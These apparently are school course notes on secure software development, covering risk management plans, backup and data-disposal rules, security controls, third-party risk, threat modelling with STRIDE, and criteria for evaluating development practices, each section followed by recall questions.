Onboarding is the process of welcoming new developers to a project or team — setting them up for success, especially when it comes to writing secure code. When security is part of the team culture **from day one**, developers are more likely to follow good habits and avoid risky mistakes.

- **Security briefings** — a short session on security during first-day orientation.
- **Access control** — only give new developers the permissions they need, not full access "just in case".
- **Codebase walkthroughs** — show how security is handled in the code (encryption, authentication, error handling).
- **Team introductions** — make sure new developers know who to talk to about security questions.

STRATEGY 2

Developer training

Even experienced developers make mistakes. Ongoing training keeps security top of mind and helps everyone stay up to date with the latest threats and best practices.

FOCUS AREAS

- **Common vulnerabilities** — XSS, SQL injection, broken authentication.
- **Safe coding standards** — validating input, encoding output.
- **Security tools** — tools that scan code for weaknesses.
- **OWASP Top 10** — the most critical risks, updated regularly.

WAYS TO TRAIN

- **Online courses** — self-paced learning (e.g. Codecademy).
- **Workshops and hackathons** — hands-on security problem solving.
- **Refresher sessions** — short, regular reviews of key topics.
- **Code reviews** — peer review focused on spotting security issues.

STRATEGY 3

Developing risk management plans

A risk management plan helps teams think ahead — a document outlining what could go wrong, how likely it is, and what to do about it. Instead of waiting for problems, risk management is **proactive**: spotting issues early and reducing their impact.

1. **Identify risks** — what could go wrong? (e.g. using outdated libraries)
2. **Assess risks** — how likely is it? How serious would it be?
3. **Plan responses** — what actions will you take if the risk becomes real?
4. **Monitor** — keep an eye on risks throughout the project and update the plan.

Examples of software risks

- **Insecure third-party libraries** — external code might have hidden vulnerabilities.
- **Lack of input validation** — not checking user input can lead to attacks.
- **Poor user authentication** — weak login systems can be easily bypassed.
- **Delayed patching** — not fixing known issues quickly leaves software exposed.

Worked example — School Attendance App

ID	RISK DESCRIPTION	CATEGORY	POTENTIAL CAUSE
R1	Use of outdated third-party libraries	Technical	Lack of regular updates
R2	Weak user authentication	Security	Poor password policies
R3	Data loss during deployment	Operational	No backup strategy
R4	Incomplete input validation	Security	Developer oversight

ID	LIKELIHOOD	IMPACT	RISK LEVEL	ID	MONITORING METHOD	FREQUENCY	STATUS
R1	Medium	High	High	R1	Dependency scanner reports	Weekly	Open
R2	High	High	Critical	R2	Security audit logs	Bi-weekly	In progress
R3	Low	Medium	Medium	R3	Backup test logs	Monthly	Closed
R4	Medium	High	High	R4	Code review checklist	Per sprint	Open

ID	STRATEGY	ACTION PLAN	RESPONSIBLE
R1	Mitigate	Schedule regular library updates	Alex (DevOps)
R2	Avoid	Implement multi-factor authentication	Jamie (Backend Dev)
R3	Mitigate	Set up automated backups before deployment	Taylor (SysAdmin)
R4	Mitigate	Add input validation checks and peer reviews	Morgan (Frontend Dev)

RECALL CHECK

1. Name the four secure onboarding practices.
2. Give the four steps of risk management and apply them to "delayed patching".
3. What are the four column groups of a risk register?

Security of Data

Why data is valuable, what makes data secure, backup strategy, and how data should be disposed of.

VALUE

Why data is valuable

Data is valuable to individuals and organisations alike. If a hard disk crashed tomorrow with no backup, the things lost would be **original and irreplaceable** — they took real time and effort to create, and can't simply be downloaded again.

WHAT YOU'D LOSE AT HOME

Unfinished or completed school work, projects, photos and saved articles. Losing access to an email account also means losing sent and received emails, your address book, bookmarks, and all the preferences set up in your favourite programs.

WHAT A BUSINESS WOULD LOSE

- Client lists, payroll information, tax records.
- Accounting and transaction details.
- Records of who owes the business money, and who it owes.

WHY IT WOULD BE CATASTROPHIC

- The business wouldn't know its customers or how to contact them.
- Staff couldn't be paid, and income would drop to zero.
- The tax department and creditors could pursue legal action.
- Trade secrets would be lost, and reputation as a trustworthy organisation would suffer.
- A privacy policy violation could occur if personal information is damaged or released.

Computers can be replaced almost instantly since they're insured — **the data on them can't be**. Re-entering everything lost in a major system crash could take months or years and cost a fortune.

DEFINITION

Data security is making sure only the people who should be able to **read** the data can read it, and only the people who should be able to **write** it can write it. It's implemented through equipment such as a network operating system with user authentication, and measures such as organisational password policies.

CHARACTERISTICS

What makes information secure

CHARACTERISTIC	WHAT IT MEANS
Protected	User authentication protects information with passwords. Firewalls, anti-malware and antivirus software are kept up to date. Physical storage is protected with access restrictions, locks, guards and/or alarms.
Confidential	People only have access to information they need. The Privacy and Data Protection Act 2014 requires that sensitive information only be made available on a ' need to know ' basis.
Risk managed	Regular backups are taken in case of data loss. Safety equipment (ventilation, fire extinguishers, alarms) is fitted in secure data centres, and an emergency business continuity plan is in place.

BACKUPS

Frequency & the 3-2-1 rule

DEFINITION

A **backup** is a copy of data that can be recovered in the event of a primary data failure, allowing data to be restored from an earlier point in time. Primary failures can result from hardware or software failure, data corruption, or human-caused events such as malware or accidental deletion.

The more time between backups, the more potential data loss when recovering. Retaining multiple copies gives the flexibility to restore to a point unaffected by corruption or attack. A good backup system typically includes:

- **Daily** incremental backups to a portable device and/or cloud storage.
- **End-of-week** server backups.
- **Quarterly and yearly** server backups.

It’s vital to **regularly check and test that you can actually restore** your data from a backup.

RULE	REQUIREMENT	DETAIL
3	Three copies	Keep at least three copies of any important files or data — the original and two backups.
2	Two media types	Keep the files or data on two different types of media.
1	One offsite	Keep one copy offsite, away from the original location.

VARIATION – THE 3-2-1-1 RULE

The 3-2-1 rule is a **minimum starting point**. A common variation keeps **two** offsite copies instead of one: one in the cloud (online), and one that is both offsite *and* offline — e.g. an external hard drive or tape stored at a different physical location.

Essential Eight — daily backups maturity

The Australian Signals Directorate’s ACSC treats daily backups as essential to protect against malware and recover data and system availability. All businesses should aim for **maturity level three**.

	MATURITY LEVEL 1	MATURITY LEVEL 2	MATURITY LEVEL 3
Frequency	Monthly	Weekly	At least daily
Storage	—	Offline, or online in a non-rewritable, non-erasable manner	Offline, or online in a non-rewritable, non-erasable manner
Retention	One to three months	One to three months	Three months or greater
Full restoration	—	Tested at least once	Tested at initial implementation and each time infrastructure changes
Partial restoration	Tested annually or more often	Tested bi-annually or more often	Tested quarterly or more often

DISPOSAL

Getting rid of data properly

DEFINITION

Data disposal is the destruction, transfer, damage or alteration of data.

VICTORIAN INFORMATION PRIVACY PRINCIPLES

Under **IPP 4.2**, organisations must take reasonable steps to **destroy or permanently de-identify** personal information no longer needed for any purpose. **IPP 1.1** suggests minimising the need to dispose of data in the first place, by limiting how much identifiable information is collected.

PUBLIC RECORDS ACT 1973

Public records cannot be destroyed unless authorised. The **Public Records Office Victoria (PROV)** can issue three types of authority to destroy:

- **Normal Administrative Practice (NAP)**
- **Retention and Disposal Authority (RDA)**
- **Single Instance Disposal Authority (SIDA)**

Once authority to destroy is issued, information must be destroyed or de-identified, unless another legitimate purpose exists for retaining it.

Normal Administrative Practice covers

- Transitory messages — e.g. calendars, personal emails.

- Rough working papers — e.g. rough meeting notes.
- Drafts not intended for further reference.
- Copies retained for reference purposes only.
- Published material not included in the organisation's records.

Destroying physical information

- **Shredding** — cross-shredding may be needed for sensitive documents.
- **Pulping** — reduces paper to fibres.
- **Burning** — only as a last resort, in an appropriate industrial facility.

DELETION DOESN'T MEAN DESTRUCTION

Deleting digital information only removes the **pointer** (the file name and directory path) to that information. The actual data is gradually overwritten by new data over time — **until it's fully overwritten, it can still be retrieved with recovery tools.**

Sanitisation methods

Sanitisation is the process of erasing or overwriting information on digital media. The method chosen depends on the information's classification and a risk assessment of its sensitivity.

Clearing	Information is overwritten and hidden under nonsensical data so it can't be retrieved via disk or file recovery utilities.
Purging	Information is randomised so it can't be reconstructed, even using nonstandard systems outside its usual environment (a "laboratory attack").
Degaussing	Recorded data is erased by demagnetising magnetic media.
Destruction	The most extreme form; the media is drastically altered and can never be reused.

Physical destruction methods: shredding, disintegration, incineration, pulverisation and melting. To ensure complete destruction, find and destroy **all** copies — including system backups, the cloud, and offsite storage. Where information is stored in the cloud, contracts should stipulate that all copies will be destroyed under retention and disposal requirements.

WIPING DEVICES PROPERLY

Un-wiped hard drives are sought after by scammers. **Factory resetting and deleting data alone isn't enough** to prevent recovery. For phones, tablets and solid state drives (SSDs), **encryption can be used before resetting** to prevent any remaining data from being recovered.

RECALL CHECK

1. Give the three characteristics of secure information, and the Act that requires confidentiality.
2. State the 3-2-1 rule and the 3-2-1-1 variation.
3. What are the three requirements for Essential Eight maturity level 3 backups?
4. Explain why "delete" doesn't destroy data, and name the four sanitisation methods.
5. What are PROV's three authorities to destroy?

WEEK 3 • LESSON 2

Security Controls in Software Development

Six essential security controls developers use to protect data, with a closer look at version control and identity & access management.

CONTEXT — DEVELOPERS AS GUARDIANS OF DATA

Software powers schools, hospitals, banks, social media and government services — and all of it stores something precious: **data**. As developers, every design choice and every line of code can help protect (or accidentally endanger) users' personal data. Secure software development isn't just about the end product, it's about **how the product is made, who can access it, how it's stored, and how it's maintained over time.**

OVERVIEW

Six essential security controls

SECURITY CONTROL	WHAT IT DOES	WHY IT'S IMPORTANT
Version control & repositories	Tracks and manages code	Helps control access and recover from errors
Identity & access management (IAM)	Manages user access	Prevents unauthorised access
Encryption	Protects data	Keeps information safe even if breached
Code review	Peer-checks code	Identifies security issues early
Updates / patches	Fixes vulnerabilities	Reduces risk from known exploits
Environment separation	Isolates app stages	Keeps real data and users safe

CONTROL 1

Version control

Also known as **source control** — a management strategy used to track and store changes to software development files across the whole project lifecycle. Without it, every change would overwrite the last, like an essay where old drafts vanish forever.

Tools such as **Git**, and platforms such as **GitHub**, let developers safely make changes, fix bugs, experiment with new features, and undo mistakes — like an unlimited “undo” button with collaboration features built in. Code stored in repositories can be shared, reviewed and automatically backed up.

WHY IT MATTERS FOR TEAMS

Repositories let teams **restrict access**, so only approved users can change critical files or merge code into the main project. Every change is recorded with **who made it, when, and why** — a complete history in case anything goes wrong. Malicious or poorly written code can be traced and removed.

What version control improves

- Team productivity and collaboration.
- Team communication with a reliable solution.
- Fewer development errors and conflicts.
- Faster development time and more successful deployments.
- Customer satisfaction through more reliable software versions.

Using it effectively: changes should be saved frequently and consistently, using comprehensible naming conventions. Teams without version control often don't know which changes have been made available to users, and end up with incompatible changes between unrelated pieces of work that must be painstakingly untangled.

KEY POINT — BOTH TOOL AND SAFETY NET

Version control protects source code from catastrophe — deliberate or accidental security or physical risks — and from the casual degradation of human error. In secure development it is **both a collaboration tool and a safety net**. As with any important data, regular backups should still be done.

CONTROL 2

Identity & access management (IAM)

Not everyone should have the keys to the kingdom. IAM is the practice of making sure that **each person only has the access they need**, nothing more.

Like a school building: students, teachers and the principal all have access to different areas depending on their role. You wouldn't want a student wandering into the server room, and you wouldn't want just anyone editing school reports.

IAM uses **login credentials, multi-factor authentication (MFA), and role-based permissions** to keep systems organised and secure. This way, even if someone's password is stolen, the damage is limited.

PRINCIPLE OF LEAST PRIVILEGE

Give people the **minimum access they need** to do their job — for example, allowing a tester to view results but not change source code, or letting a junior developer work on a feature without touching the production database.

RECALL CHECK

1. Name the six security controls, and for each give the “why it matters” in your own words.
2. What three things does a repository record about every change?
3. Give two concrete examples of least privilege in a dev team.

In-House or External Development

Weighing up whether to build software in-house or externally, and managing the risks that come with relying on third-party code.

When organisations need new software, they face an important decision: develop it **in-house**, using their own team of developers, or **externally**, by hiring a third party or using existing tools and services? Understanding the advantages and disadvantages of each helps guide better project planning, resource use and risk management. One key area of concern in external development is **third-party risk**, where organisations rely on software components or services built by others.

OPTION 1

In-house development

The design, development, testing and maintenance are carried out by the organisation's **own employees**. This gives full control over how the software is built and ensures it is tailored specifically to internal goals or client needs. In-house teams can communicate more efficiently with stakeholders, understand internal workflows, and adapt quickly to change.

Advantages

- Full control over how the software is built.
- Tailored specifically to internal goals or client needs.
- More efficient communication with stakeholders.
- Better understanding of internal workflows.
- Adapts quickly to change.

Disadvantages

- Resource-intensive — needs skilled developers, PMs, testers and support staff.
- Higher costs, particularly for small or medium businesses.
- Building complex features from scratch can be time-consuming.
- Slower if the team lacks experience with certain tools or technologies.

Despite the challenges, in-house development remains popular for organisations with **sensitive data or unique business requirements**.

OPTION 2

External / third-party development

Relying on individuals or companies outside the organisation to provide software components or build applications — outsourcing to a third-party vendor, purchasing off-the-shelf software, or using open-source tools such as **APIs**, libraries and **SDKs**. Today, most developers combine in-house and third-party solutions to speed up development and focus on innovation instead of reinventing basic features.

Advantages

- Can significantly reduce time and cost.
- Frees teams to focus on innovation instead of reinventing basic features.

Disadvantages

- Places trust in someone else's security practices, update cycles and reliability.
- Disruptions or security incidents if a vendor stops supporting a component, or a library has vulnerabilities.
- Licensing issues if terms of use aren't fully understood or followed.

RISK

Third-party software

Any external tools or code not developed by your own organisation — an SDK, an external API, a plug-in, or entire applications hosted on another platform. Developers use these to save time, reduce costs, and avoid rebuilding features already available elsewhere.

Why it's a problem: these components may have vulnerabilities, outdated code or excessive permissions. If not carefully managed, they become the **weakest link** in a system's security — third parties might gain access to

confidential data, especially if not restricted to only the parts of the system they need. Poorly written or unmonitored components can also lead to bugs, compatibility issues or compliance problems.

THIRD-PARTY RISKS INCLUDE

- Vulnerabilities in external libraries or code can be exploited by attackers, **even if your own code is secure**.
- External services may access sensitive files, user data, or system configurations **beyond what is necessary**.
- Known flaws may remain unaddressed if security updates or patches aren't applied regularly.
- Vendors may stop supporting or maintaining their products, creating reliability and availability concerns.

TOOL

Software Composition Analysis (SCA)

An automated technique that **scans the software codebase to identify all external components**. It provides visibility into what open-source or third-party tools are being used, and whether any have known vulnerabilities, licensing issues or outdated versions. SCA tools can tell whether your code is calling a vulnerable part of a library, and suggest ways to update or patch. They also help maintain legal compliance by checking whether licences attached to external code are compatible with your project's distribution.

BENEFITS OF SCA TOOLS

- Automatically detect known security vulnerabilities in third-party libraries.
- Highlight licensing obligations to help avoid legal risks.
- Provide update recommendations when components are out of date.
- Show whether vulnerable code is **actively used** by your application.

CONTROLS

Encryption & access control

Encryption ensures that even if data is intercepted or stolen, it remains unreadable without the proper decryption key. This is particularly important when third-party software handles or transmits user information, financial data or intellectual property.

Access control limits what third-party software or vendors can see and do. Third-party code should only have access to the specific data and systems it needs to function. Applying the **principle of least privilege** reduces the chance that a bug or security issue in a third-party tool will impact the entire system. Monitoring and logging all external access provides further oversight.

SECURITY BEST PRACTICES

- Encrypt data both **during transmission and while stored**, using strong cryptographic standards.
- Grant external systems or tools the **minimum level of access** required to function.
- Monitor third-party activity and log access events for auditing and troubleshooting.
- Regularly review third-party permissions and revoke unnecessary access rights.

SUMMARY

In-house vs external, factor by factor

FACTOR	IN-HOUSE DEVELOPMENT	EXTERNAL / THIRD-PARTY DEVELOPMENT
Control	Full control over all aspects including customisation and decision-making	Limited control over external code, services and customisation
Knowledge	Better knowledge of internal processes and operations	Lack of familiarity with business operations and internal process
Cost	High cost (staff, tools, infrastructure)	Often more cost-effective due to reuse of existing tools
Communication	Easier communication between parties involved	Slower communication as parties are external; miscommunication possible
Speed	Slower, especially for complex projects	Faster due to reusable components and experienced vendors
Security	Easier to manage and audit — confidential data kept in-house	Relies on third-party security practices, may introduce hidden flaws
Customisation	Fully tailored to business needs	May be restricted by third-party limitations
Maintenance	Internal responsibility and lower ongoing maintenance costs	Ongoing dependency on external contractors, possibly higher ongoing costs
Legal risk	Full ownership of intellectual property	Must comply with licences and vendor terms
Integration	Easier with existing systems	May require adapters or extra configuration

RECALL CHECK

1. Give three advantages and three disadvantages of each approach without looking.
2. Name the four third-party risks.
3. What four things does an SCA tool do?
4. Why does encryption matter specifically when third-party software is involved?

WEEK 4 • LESSON 2

Threat Modelling Principles

A structured, four-step approach to identifying and addressing potential security threats to software systems.

DEFINITION

Threat modelling is a **structured approach to identifying and addressing potential security threats** to software systems. It's about **thinking like an attacker** to predict how a system could be exploited, and then acting to prevent those risks. Just like risk management plans for floods or fires, threat modelling prepares software to handle digital threats such as hacking, data leaks or unauthorised access.

#	PRINCIPLE	DESCRIPTION
1	Define security requirements	What protections does the software or system need?
2	Identify threats	What could go wrong?
3	Mitigate threats	What can we do to prevent problems?
4	Confirm mitigation	Are our protections actually working?

PRINCIPLE 1

Define security requirements

Before developers start writing code, they must define the **security requirements** the software must meet — the rules and protections it should follow to remain safe from attacks.

WHAT THEY LOOK LIKE

- "User passwords must be encrypted."
- "Only verified users can access private data."
- "The system must log all failed login attempts."

THEY SHOULD

- Align with laws and regulations (e.g. **Privacy Act 1988**).
- Protect sensitive data.
- Support user authentication and authorisation.
- Be clearly documented from the start of the project.

Why it matters: if security is not planned from the beginning, it can lead to vulnerabilities that are **harder and more expensive to fix later**.

PRINCIPLE 2

Identify threats

Once security requirements are clear, developers identify potential threats, asking "What could go wrong?" or "How might someone try to break or misuse this?"

THREAT TYPE	DESCRIPTION	EXAMPLE
Data breach	Unauthorised access to private data	Leaking personal information from a database
Code injection	Attacker sends harmful code through inputs	SQL injection via login form
Cross-site scripting	Attacker injects code into a web page	Script steals session cookies
Denial of service	Overwhelming the system to crash it	Spamming login to shut down the server
Man-in-the-middle	Intercepting communication	Eavesdropping on unsecured Wi-Fi

TOOLS & TECHNIQUES

- **STRIDE** — a model used to classify threats: **S**poofing, **T**ampering, **R**epudiation, **I**nformation disclosure, **D**enial of service, **E**levation of privilege.
- Security auditing.
- Threat brainstorming sessions.

PRINCIPLE 3

Mitigate threats

THREAT	MITIGATION TECHNIQUE
SQL injection	Input validation and prepared statements
Data breach	Encrypt stored data and use secure authentication
XSS	Sanitise user input
DoS attacks	Rate limiting and traffic filtering
Weak passwords	Enforce strong password policies and multi-factor authentication (MFA)

ADDITIONAL SECURITY PRACTICES

- **Penetration testing** — simulate real attacks to test defences.
- **Secure coding practices** — training developers to avoid common vulnerabilities.
- **Application security tools** (SAST / DAST / IAST) — automatically detect flaws.

PRINCIPLE 4

Confirm threats have been mitigated

After implementing mitigation measures, it's essential to **verify** that the threats are truly handled, through testing and review:

- **Security testing** — manual and automated.

- **Code reviews** — internal or third-party.
- **Regression testing** — ensure fixes don't break other parts.
- **Audit trails** — logging activities to track incidents.
- **Compliance testing** — checking against legal and policy standards.

ONGOING

Security is a **continuous process, not a one-time fix**. New threats emerge regularly, and software must evolve to stay protected.

RECALL CHECK

1. Name the four principles and the question each answers.
2. Expand STRIDE and give an example threat for three of its letters.
3. Give the mitigation for each of the five threat types.
4. Why is regression testing part of confirming mitigation?

WEEK 4 • LESSON 3

Evaluating the Security of Development Practices

Criteria for assessing how securely an organisation builds and maintains software — from risk evaluation through to incident response and compliance. This is the lesson to lean on for extended-response questions.

Security in software development is not just a technical consideration — it's essential to protecting an organisation's data, users and reputation. As cyber threats become more advanced, organisations must evaluate how securely they build and maintain software across the **entire development lifecycle**, from planning to deployment and beyond. Security should be treated as a **shared responsibility** by everyone involved.

Organisations use **evaluation criteria** to identify strengths, weaknesses and areas for improvement. These help decision-makers understand whether current practices meet industry standards, comply with regulations, and are effective against real-world threats. Evaluation should be built into the development cycle, with regular reviews as new threats and technologies emerge.

CRITERION 1

Identifying & assessing risk

Risk management is the foundation. It begins by identifying potential threats — anything that could cause harm to systems, data or people. Common threats include unauthorised access, data loss, system failures and cyber attacks. Each must be analysed in terms of **likelihood and potential impact**.

Once threats are identified, evaluate how **acceptable** the risks are. Some may be low in both likelihood and impact; others could be critical and require immediate action. The goal is **not to eliminate all risks**, which is usually impossible, but to reduce them to an acceptable level through smart, practical decisions.

ASK

- Has the organisation identified all relevant threats to its software and systems?
- Are risks evaluated in terms of both likelihood and consequences?
- Are mitigation strategies in place and reviewed regularly for effectiveness?

CRITERION 2

Evaluating security controls

Security controls are the tools and practices used to protect data and systems — **authentication** (verifying identity), **authorisation** (granting the right access), **encryption** (protecting data), and **access control** (restricting who can do what). Evaluation must assess whether these are properly implemented and strong enough against known threats.

Effective evaluation means checking not just that controls **exist**, but that they are actively maintained, tested and updated. A system with outdated security controls or default passwords is **just as vulnerable as one with no controls at all**. Controls must also be balanced — too few create risk, but overly strict controls can block legitimate users or interfere with performance.

ASK

- Are authentication and access control mechanisms properly configured?
- Is sensitive data encrypted during storage and transmission?
- Are controls monitored and updated in response to evolving threats?

CRITERION 3

Reviewing secure development practices

Security must be embedded in the way code is written and maintained — **input validation** (to prevent injection attacks), **proper error handling** (to avoid exposing sensitive system details), and regular **code reviews**. Developers should also follow principles such as **least privilege** and **fail-safe defaults**.

Evaluating practices involves checking whether developers are **consistently applying** these principles. If a team lacks training in secure coding or skips critical security steps under pressure, vulnerabilities are more likely to slip through. Strong policies, training and automated tools help enforce standards throughout the lifecycle.

ASK

- Are developers trained in secure coding principles?
- Are best practices such as input validation and error handling consistently followed?
- Are secure defaults and access restrictions implemented in the code?

CRITERION 4

Conducting security testing

Security testing verifies that software is not only functioning but also protected from attack — automated tools such as vulnerability scanners, and manual processes like **penetration testing**, which simulate real-world attacks to see how the system responds and where weaknesses lie.

Testing should be performed regularly, **especially after updates or changes**. It's important to test both internally developed features and third-party components. A thorough process ensures vulnerabilities are caught before exploitation and that developers receive feedback to improve future work.

ASK

- Are vulnerability scans and penetration tests conducted regularly?
- Are security tests included in continuous integration and deployment pipelines?
- Are testing results used to guide improvements to code and architecture?

CRITERION 5

Reviewing third-party components

Most modern software relies on third-party tools — libraries, APIs, SDKs and external services. While these speed up development, vulnerabilities in third-party code can be exploited just like flaws in your own code, and many attacks target known issues in widely used components.

Evaluating third-party risk involves identifying all external components and assessing their security — checking **update history, security patches, licensing terms and community support**. Organisations should also use **SCA** tools to automate this review.

ASK

- Are all third-party tools and libraries documented and tracked?
- Are external components regularly reviewed for known vulnerabilities?
- Are licensing and compliance issues considered before use?

CRITERION 6

Security awareness & culture

Technology alone can't secure a system — **people are just as important**. Security awareness means ensuring all team members understand their responsibilities and best practices. Developers, testers, managers and even end users must be trained to spot suspicious activity and protect sensitive data.

Evaluating culture means reviewing training programs, communication practices, and the overall approach to security. A strong culture supports proactive behaviour; a weak one leads to mistakes, oversights or non-compliance.

ASK

- Do all team members receive regular security training?
- Is there a shared understanding of secure development responsibilities?
- Is security treated as a priority at every level of the organisation?

CRITERION 7

Incident response readiness

No matter how good your security is, incidents can still happen. What matters is **how quickly and effectively** the organisation responds. An incident response plan outlines what to do when a breach occurs — who is notified, how systems are isolated, how data is recovered, and how communication is managed.

Evaluating readiness involves reviewing whether plans exist, are up to date, and are regularly tested. It also includes assessing how well the organisation can **detect unusual behaviour** and how fast it can act to limit damage.

ASK

- Is there a documented and tested incident response plan?
- Are roles and responsibilities clearly defined in the event of a breach?
- Are incidents reviewed afterwards to improve the response process?

CRITERION 8

Compliance & continuous improvement

Security strategies must align with legal and industry standards — the **Privacy Act 1988**, the **Privacy and Data Protection Act 2014** (Vic), or ACSC guidelines. Compliance ensures organisations avoid legal penalties and uphold user trust.

But security isn't just a checklist. **Continuous improvement** means regularly reviewing processes, updating tools, and staying informed about new threats — a proactive approach that keeps the organisation ahead in an ever-changing landscape.

ASK

- Are the software practices compliant with relevant laws and standards?
- Are security strategies reviewed and improved over time?
- Is feedback from incidents and audits used to enhance future security?

ANSWER STRUCTURE FOR EXTENDED RESPONSE

1. **Name the criterion** you're evaluating against.
2. **State the evidence** from the case study or scenario.
3. **Judge it against the standard** — a framework (Essential Eight, ISM, OWASP), an Act, or best practice.
4. **Recommend the specific control** that closes the gap.
5. **Say how you'd confirm** it worked (testing, audit, review).

RECALL CHECK

1. List all eight criteria areas from memory.
2. Why is a system with default passwords "as vulnerable as one with no controls at all"?
3. Why is the goal not to eliminate all risk?
4. Take any case study from Week 2 Lesson 1 and write a five-step evaluation of it using the structure above.

